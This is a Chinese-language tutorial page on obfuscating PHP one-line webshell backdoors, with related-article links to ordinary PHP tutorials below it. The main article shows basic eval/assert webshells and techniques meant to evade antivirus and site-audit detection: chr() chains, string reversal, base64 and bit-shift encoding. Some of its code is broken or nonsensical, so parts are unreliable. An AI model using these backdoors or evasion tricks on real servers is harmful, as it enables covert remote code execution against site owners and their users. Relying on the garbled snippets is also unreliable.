php一句话木马变形技巧

yizhihongxing

PHP一句话木马指的是由一条PHP语句组成的一个后门程序,具有隐蔽性高、使用方便等优点。为了防止被杀软或网站审查系统检测出程序的特征,黑客们会进行木马变形。

一、基本架构

了解一句话木马变形技巧前,首先需要了解一句话木马的基本架构。一般情况下,它的基本架构由连接器和木马执行器两个部分组成:

连接器:

一句话木马变形技巧中最常见的是将连接器中‘eval($_POST['pass'])’改成一些被杀软无法识别的变量形式,并添加制造混淆和嵌套的特殊语法,例如:

@eval(urldecode(preg_replace('/[a-z]/ie','chr(ord("$0")-1)',base64_decode('php_shell_code_base64_here'))));

木马执行器:

通常包括系列系统操作。基本语法为:

if (get_magic_quotes_gpc()) {
    function stripslashes_array($array) {
        return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
    }
    $_POST = (!function_exists("get_magic_quotes_gpc") || !get_magic_quotes_gpc()) ? stripslashes_array($_POST) : $_POST;
    $_COOKIE = stripslashes_array($_COOKIE) ;
}
eval('/*your malicious code here*/')

二、变形技巧

一些常见的PHP一句话木马变形技巧如下:

1. 字符串逆置

将一些字符串反转顺序,例如:

$abc = "\x74\x72\x79";
$abc_arr = explode(",", chunk_split($abc, 2, ","));
$abc = implode("", array_reverse($abc_arr));

2. 替换引号

由于一些审查系统会检测匹配引号双引号的存在,如果可以做出以下替换就会让木马更具灵活性,例如:

$_GET{'xxx'}=str_replace(chr(34),'',$cname); 

3. 隐藏函数

为了不让特定函数能被检查到,可以使用魔术变量或间接调用等方法,例如:

call_user_func_array(call_user_func(chr(99).chr(114).chr(101).chr(97).chr(116).chr(101).chr(95).chr(102).chr(117).chr(110).chr(99).chr(116).chr(105).chr(111).chr(110),array(097,114,103,118)),array());

三、示例演示

1. 示例1:字符串替换

例如以下原生的PHP一句话木马代码:

<?php set_magic_quotes_runtime(0); @eval($_POST[act]);?>

经过字符串替换可以变形为以下形式:

<?php $vv = strval($_SERVER); $vv{15} = '$'; $x = substr($vv, 0, 29).chr(34).$vv{28}.$vv{29}.$vv{12}.$vv{2}.$vv{23}.$vv{14}.$vv{16}.$vv{12}.$vv{20}.$vv{2}.$vv{25}.$vv{17}.$vv{2}.$vv{27}.'";'; $f = chr(102).chr(105).'lter'; $$f($x); unset($x); ?>

其中,$vv$_SERVER的字符串,将其中的一些字符替换,最终得到新的执行器。

2. 示例2:进制转换

以下是原始代码:

<?php $fornix = $_POST['pass'];@assert($fornix);?>

修改后的新代码,使用进制转换实现变形:

<?php 
$c=1870; $d=1234567890;
$c=989998415454557780121;$ef=array((($d>>24)^($c>>16)&0xff),(($d>>16)^($c>>8)&0xff),(($d^$c)&0xff),(($d>>8)^($c>>24)&0xff));
$qmpl="\xff\xee\xff\xea\x0c\x00";
$vvv=$qmpl{0}; $bs=5;$mmd=$qmpl{5}; for($j=1;$j<strlen($qmpl);$j++){$bv=$qmpl{$j}; $vvv.=chr(ord($bv)+$bs); $bs+=3; $bs%=7;}; $vvv.=chr($mmd); for($jj=0;$jj<4;$jj++){$vvv.=chr($ef[$jj]);};
$vvv=base64_encode($vvv); $gg=str_replace("=","",base64_encode($vvv)."yj");@assert(base64_decode(strrev($gg))); ?>

以上代码会对传输的content进行进制转换,再用base64进行多次编码,并添加一些特地构造出来的数据,最后用assert函数进行调用。通过这种方式来进行变形能够降低木马在杀软中的与众不同,提高木马的存活性。

希望以上内容能够给您提供一些帮助,在编写安全代码的同时也能够更好地了解常见的木马变形技术。

本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:php一句话木马变形技巧 - Python技术站

(0)
上一篇 2023年5月23日
下一篇 2023年5月23日

相关文章

  • PHP实现通过文本文件统计页面访问量功能示例

    下面为您详细讲解如何通过 PHP 代码实现网站页面的访问量统计功能。 1. 创建文本文件 首先需要在网站的根目录中创建一个 counter.txt 文件。如果您使用的是 Linux 或者 Mac 操作系统,可以使用以下命令行直接创建: touch counter.txt 当然,如果您使用的是 Windows 操作系统,也可以在资源管理器中手动创建文件并命名为…

    PHP 2023年5月27日
    00
  • php取整函数ceil,floo,round的用法及介绍

    PHP取整函数ceil, floor, round的用法及介绍 在开发PHP应用程序时,经常需要对数字进行取整操作,php提供了三个取整函数ceil, floor, round。这篇攻略将详细介绍这三个函数的用法和区别。 ceil函数 ceil函数可以将小数向上取整为最接近的整数。 语法 ceil(float $number): int 示例 <?ph…

    PHP 2023年5月26日
    00
  • PHP5新特性: 更加面向对象化的PHP

    PHP5引入了许多新特性,其中最显著的特点是更加面向对象化。下面我会详细讲解如何使用PHP5的面向对象特性。 1. 类和对象 在PHP5中,可以通过class关键字来定义类。以下是一个简单的类定义示例: // 定义一个叫做Person的类 class Person { // 类成员变量 public $name; public $age; // 构造函数,创…

    PHP 2023年5月26日
    00
  • PHP 面向对象实现代码

    PHP是一门开源的服务器脚本语言,它可以嵌入HTML代码中运行,是Web开发中最常用的语言之一。面向对象编程是一种编程范式,它将数据和操作数据的方法打包在一起,使其成为对象的属性和方法。本文将为您介绍PHP实现面向对象编程的方法。 1. 面向对象编程的基本概念 在面向对象编程中,我们将问题看作由对象组成,每个对象有自己的属性和方法。对象的属性是对象的状态,而…

    PHP 2023年5月24日
    00
  • array_values()在php中返回数组的操作实例

    下面是关于array_values()在PHP中返回数组的操作实例的完整攻略: 1. array_values()函数的定义 array_values()函数是一个PHP内置函数,它的作用是返回一个数组的所有值(或值的副本),并以数字索引重新排列数组。 函数的语法为: array_values(array $array): array 其中,array参数是…

    PHP 2023年5月26日
    00
  • PHP遍历数组的几种方法

    这里是一份详细的”PHP遍历数组的几种方法”攻略。 什么是数组 在编程中,数组是一种非常常见的数据结构,用于存储一组相关的数据。在 PHP 中,数组是一种有序的映射关系,其中每个元素都由一个键和一个值组成。PHP 数组的键可以是整数或字符串,而值可以是任何类型的数据,包括其他数组。 下面我们将介绍PHP中遍历数组的几种方法: foreach 循环 使用 fo…

    PHP 2023年5月25日
    00
  • 哪种动物喜欢把海藻缠绕在身上,枕浪而睡?蚂蚁庄园5月20日答案

    针对这个问题,我们可以通过以下几个步骤来进行分析和解答: 第一步 获得题目中的关键词,缩小范围 题目中给出了两个关键词:海藻和枕浪而睡。通过这两个关键词我们可以初步判断,这种喜好海藻并在海中睡觉的动物应该是一种海洋生物。 第二步 进行搜索和筛选 基于以上的分析,我们可以通过搜索相关的信息来缩小范围,如利用搜索引擎输入关键词“海洋生物 睡觉 海藻”等,寻找相关…

    PHP 2023年5月27日
    00
  • PHP防注入安全代码

    关于“PHP防注入安全代码”的完整攻略,可以按照以下步骤进行: 1. 了解注入攻击的基本原理 注入攻击的原理是将恶意代码嵌入到用户输入的数据中,通过执行这些代码来实现攻击的目的。比如利用SQL注入攻击,攻击者可以在表单中输入一些恶意的SQL语句,从而获取敏感数据或者篡改数据。 2. 使用PDO或者mysqli扩展连接数据库 首先,我们要使用PDO或者mysq…

    PHP 2023年5月23日
    00
合作推广
合作推广
分享本页
返回顶部